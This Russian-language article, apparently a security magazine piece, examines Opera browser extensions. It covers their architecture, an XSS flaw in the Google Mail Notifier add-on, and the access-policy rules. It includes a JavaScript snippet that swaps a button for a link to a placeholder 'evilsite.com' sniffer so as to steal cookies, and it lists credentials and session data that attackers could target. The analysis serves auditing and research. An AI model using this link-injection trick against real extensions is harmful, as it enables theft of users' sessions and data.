|
Через расширения браузеров можно провести немало знакомых нам атак. В этом мы
убедились в прошлой статье, когда
исследовали аддоны Google
Chrome. Сегодня на очереди сверхпопулярный в СНГ браузер Opera. Поддержка
аддонов в нем появилась недавно, но от этого задача только интереснее!
Чтобы упростить жизнь разработчиков и сделать процесс создания расширений
максимально прозрачным и удобным, создатели браузеров предлагают использовать
привычные для нас веб-технологии для разработки браузерных аддонов. Это дает
эффект: все новые плагины появляются как грибы после дождя. Но у такой простоты
есть и обратная сторона медали — возможные риски в безопасности, которые во
многом нам уже знакомы в аспекте исследования обычных веб-приложений. Браузер
Opera, разработчики которого непростительно долго отказывались от системы
расширений, наконец-то обзавелся таким механизмом. Справедливости ради стоит
отметить, что к этому моменту в Opera уже была технология виджетов (но многие ли
этими виджетами пользуются?) и система пользовательских скриптов. После
найденных уязвимостей в аддонах для Chrome мне было крайне интересно пощупать
расширения и для Opera. Но для этого пришлось разобраться в структуре этих самых
расширений.
Аддон изнутри
Расширения в Opera очень похожи на аналогичное решение в Google Chrome. При
их создании также используются популярные веб-технологии, такие как HTML, CSS и
JavaScript, а сами по себе они базируются на давно используемой при создании
виджетов спецификации W3C Widgets specification. Эта архитектура достаточно
подробно описана в статье Криса Милса "What’s
in an Opera extension?". Нам же для понимания материала хватит знания
некоторых основных моментов о структуре аддонов. Обычно расширение в Opera
состоит из следующих частей (некоторые из них опциональные):
- фоновая страница (обычно index.html) и сопутствующие скрипты — это
движок расширения;
- страница всплывающего окна, которое появляется, когда ты кликнешь на
кнопке аддона в тулбаре веб-браузера;
- JavaScript-скрипты и CSS-стили для выполнения в соответствии с
определенными правилами в произвольных, посещаемых тобой веб-страницах
(например, скрипт, который заменяет все ссылки "mailto:" на соответствующий
обработчик твоего любимого почтового сервиса);
- файл конфигурации confi g.xml (подобно manifest.json в Google Chrome) —
в этом файле указывается мета-информация о расширении: название и описание,
информация об авторе, политики безопасности и другое;
- страница настроек аддона — для того чтобы расширение могло сохранять
пользовательские настройки.
Эти главные составляющие расширения взаимодействуют между собой посредством
специального механизма сообщений:
Внедряемый скрипт <-> Фоновый процесс <-> Кнопка/Бейдж <-> Всплывающее
окно
Все эти части, за исключением элемента "Кнопка/Бейдж", имеют доступ к
"своему" специальному Opera Extensions API со следующими правилами:
- Из фоновой страницы доступны объекты window.widget, opera.extension и
opera.contexts — в этих рамках можно делать все что угодно, например,
создавать элементы пользовательского интерфейса. Но при этом у тебя нет
прямого доступа к содержанию открытой пользователем страницы.
- Внедряемые скрипты имеют полный доступ к содержимому посещаемых
пользователем страниц (чтение и модификация) и они могут общаться с другими
частями расширения через упомянутый выше механизм сообщений.
- Страницы всплывающих окон могут общаться с другими частями расширения,
работать с настройками аддона и т.д.
XSS
При первом же рассмотрении можно увидеть разницу между Opera и Google Chrome
в контексте взаимодействия расширения с внешними ресурсами (картинки, формы и
т.п.). Возьмем для примера расширение для оповещения о новых письмах Google Mail
Notifier. Удивительно, но, как и в подобном расширении для Google Chrome, тут
нашлась уязвимость — небезопасное использование входных данных, которое может
привести к атакам вида XSS. В нашем случае злоумышленник посылает жертве
специальным образом сформированное письмо со зловредной нагрузкой в поле темы
или теле письма. Когда жертва получит письмо, а расширение оповестит его об
этом, сработает нагрузка.
В силу используемых технологий исходный код расширения, как правило,
доступен. Чуть поковырявшись, находим в исследуемом аддоне уязвимый участок кода
(js/menu.js):
...
// Check if there are Messages to display
if(event.data.msg && event.data.msg.length > 0)
{
// Add every message
for(var i=0; i < event.data.msg.length; i++)
{
var tooltip = "<div class='tooltip'><p><u>"
+ lang.popup_to + " " + event.data.msg[i].sendermail + "</u><br/>" +
lang.popup_from + " " + event.data.msg[i].authormail + "<br/><br/></p><p>" +
event.data.msg[i].summary + "</p>";
var msg = $('<div></div>').addClass('message').attr("title",
tooltip).tooltip({left: -15}).html("<strong>" + event.data.msg[i].authorname +
"</strong> : " + event.data.msg[i].title). click(
{
link: event.data.msg[i].link
}, LoadLink);
$('#message_box').append(msg);
...
Явно видно, что при формировании списка писем соответствующие параметры
письма используются безо всякой обработки и вставляются прямо в HTML-код.
Типичное место возможного внедрения зловредного кода в расширениях (в Opera и
Google Chrome) — это страница всплывающего окна, которая обычно формируется
фоновым скриптом на основе входных данных, которыми могут быть, например,
RSS-потоки или информация о непрочитанных электронных письмах. ИМХО, в реальном
мире при аудите безопасности расширения этими сценариями не стоит
ограничиваться. Вполне вероятным может быть и небезопасное использование так
полюбившегося веб-разработчикам формата JSON! Традиционно опасным считается
использование в таких случаях функции исполнения JavaScript-кода, то есть eval(),
например, вот так:
var msg = eval("(" + response_text + ")");
Вместо того чтобы использовать специальное API для разбора JSON-сообщений:
var msg = JSON.parse(response_text);
В таких случаях зловредная нагрузка может быть исполнена уже в контексте
фонового скрипта, что влечет более тяжкие последствия.

Ограниченная XSS в Google Mail Notifier

Обход правил доступа в расширении Google Mail Notifier для посылки полученных
данных
Потенциальные цели
Одной из самых популярных целей для XSS-атак является похищение
аутентификационных данных в виде, например, сессионных кукисов. В настоящий
момент разработчики Opera не предусмотрели возможность доступа к основному
хранилищу кукисов веб-браузера (как это сделано в Google Chrome), а у каждого
расширения — как бы свои собственные кукисы. Но это вполне вероятно скоро может
измениться под напором просьб разработчиков расширений. Следующие данные,
доступные из расширения, могут быть интересны злоумышленнику при проведении им
XSS-атаки:
- собственно кукисы самого расширения, потому как в большом количестве
случаев с социальными расширениями, там хранится все тот же сессионный
идентификатор;
- настройки расширения, доступные через объект widget.preferences —
например, там могут быть имя пользователя и пароль, как в случае расширения
для работы с популярным сервисом Reddit Envelope;
- контекстная информация — в нашем примере с Google Notifi er — это данные
(адреса, темы и другое) писем жертвы;
- банальный "фишинг" — даже в ограниченном контексте злоумышленник может
использовать рассматриваемую уязвимость для фишинг-атак (см. скрин).

Вариант эксплуатации дырки в виде фишинг-атаки
Как передавать данные
Обычно, для того чтобы передать данные со стороны жертвы, злоумышленник
использует так называемый снифер. К примеру, просто внедряет с помощью
JavaScript картинку с адресом, включающем данные из объекта document.cookie в
качестве параметров. В случае с расширением в Opera такой трюк так просто не
пройдет в силу политики безопасности, о чем недвусмысленно говорит документация:
Исходя из политики по умолчанию, агент пользователя (например, веб-браузер)
должен запрещать доступ к сетевым ресурсам, внешним по отношению к виджету,
независимо от того, каким образом этот доступ запрашивается — через API-функции
(например, XMLHttpRequest) или через разметку документа (например, с помощью
тегов iframe, script, img).
Наше тестируемое расширение имеет следующие правила доступа к внешним
ресурсам, прописанные в файле конфигурации:
...
<!-- Access Policy -->
<access origin="https://mail.google.com"/>
<access origin="https://www.google.com"/>
...
Элемент <access> дает возможность авторам расширений явным образом
обозначить, с какими внешними ресурсами расширение собирается работать. Это
значит, что если, например, расширению требуется даже просто показать картинку с
внешнего ресурса, то необходимо это указать в этой опции!
Для демонстрации в тестируемом расширении пришлось использовать логотип
Google с хоста www.google.com, который подпадает под эти правила доступа. При
этом есть два момента, которые стоит учитывать злоумышленнику в рамках
XSS-атаки:
- автор расширения может указать звездочку (*) в качестве значения "origin"
для того, чтобы его расширение имело неограниченный доступ к сетевым
ресурсам;
- атрибут "subdomains" регулирует доступ для субдоменов указанного домена
("привет"-блоги и прочие социальные ресурсы с пользовательскими субдоменами).
Но есть и другой трюк, который мы можем провернуть — можно сделать ссылку или
другой интерактивный элемент пользовательского интерфейса с необходимым адресом.
Когда жертва кликнет по ссылке и перейдет на сайт злоумышленника, последний
получит требуемые данные. Например, в следующем коде показано, как можно
заменить произвольный элемент интерфейса, чтобы запутать пользователя и
заполучить кукисы:
//...
var a = document.createElement('a');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.id = "foo";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);
Взаимодействие расширений и безопасность
В противовес Google Chrome, Opera не позволяет расширениям явным образом
взаимодействовать между собой. У меня было предположение, что внедряемые
скрипты, будучи развитием популярной технологии пользовательских скриптов UserJS,
все-таки могут взаимодействовать через общий документ, в который они внедряются:
Пользовательские JavaScript-скрипты выполняются в глобальном окружении —
это означает, что все объявленное в скрипте будет доступно в рамках веб-страницы.
Учитывая это, рекомендуется помещать основной код скрипта в тело анонимной
функции для того, чтобы явным образом ограничить доступность данных скрипта в
рамках веб-страницы.
Но судя по всему, разработчики Opera решили подкрутить безопасность. У меня
не получилось добиться того, чтобы из одного внедренного скрипта прочитать
данные (значения переменных) другого, загруженного перед ним в рамках общего DOM.
Ни одна попытка не оказалась удачной. Получается, что остается только одна
потенциальная возможность навредить из одного расширения другому — подпортить
страницу, с которой оба аддона взаимодействуют.
Пользовательские скрипты в Opera
Технология пользовательских скриптов (UserJS), про которую ты наверняка
уже слышал и даже применял, позволяет пользователю подключать к произвольным
страницам, которые он посещает, свои JavaScript-скрипты. Эти скрипты будут
исполнены веб-браузером перед загрузкой целевой страницы прямо в ее
контексте (это очень важно). Пользовательские скрипты могут быть
использованы для разных целей:
- "вырезание" надоевшей рекламы на любимом ресурсе;
- добавление произвольного HTML-кода на страницу (например, виджеты
социальных сетей);
- исправление каких-либо мест (которые доставляют неудобства) на
странице;
- для чего угодно в рамках текущего документа и возможностей
JavaScript.
Для примера приведу следующий небольшой скрипт, который выделит на
странице все ссылки, которые ведут на домен, отличный от текущего:
// ==UserScript==
// @include http://example.com/*
// ==/UserScript==
(function ()
{
var links = document.getElementsByTagName('a');
for(var i = 0; i<links.length; i++)
{
if (links[i].href.indexOf('http://'
+ document.domain) != 0)
{
links[i].innerText = '[->] ' + links[i].innerText;
}
}
})();
Обрати внимание на необязательную, но весьма полезную шапку скрипта, в
которой можно указать описание сценария, а также некоторые параметры (к
примеру, для каких доменов его необходимо подключать).
Outro
Расширения в Opera имеют очень похожую архитектуру, что и в Google Chrome.
Более того, даже уязвимости в них встречаются практически идентичные.
В то же время, в силу изначально закрученных гаек в подсистеме безопасности,
либо попросту из-за того, что что-то из критичной функциональности (доступ к
кукисам браузера, истории и закладкам) не реализовано, злоумышленнику сложнее
эксплуатировать найденные в расширениях Opera уязвимости. Но тут не стоит
забывать, что система аддонов этого браузера еще молодая и постоянно изменяется,
в том числе под напором просьб разработчиков. Так что кто знает, что и как будет
устроено через некоторое время.
Links
|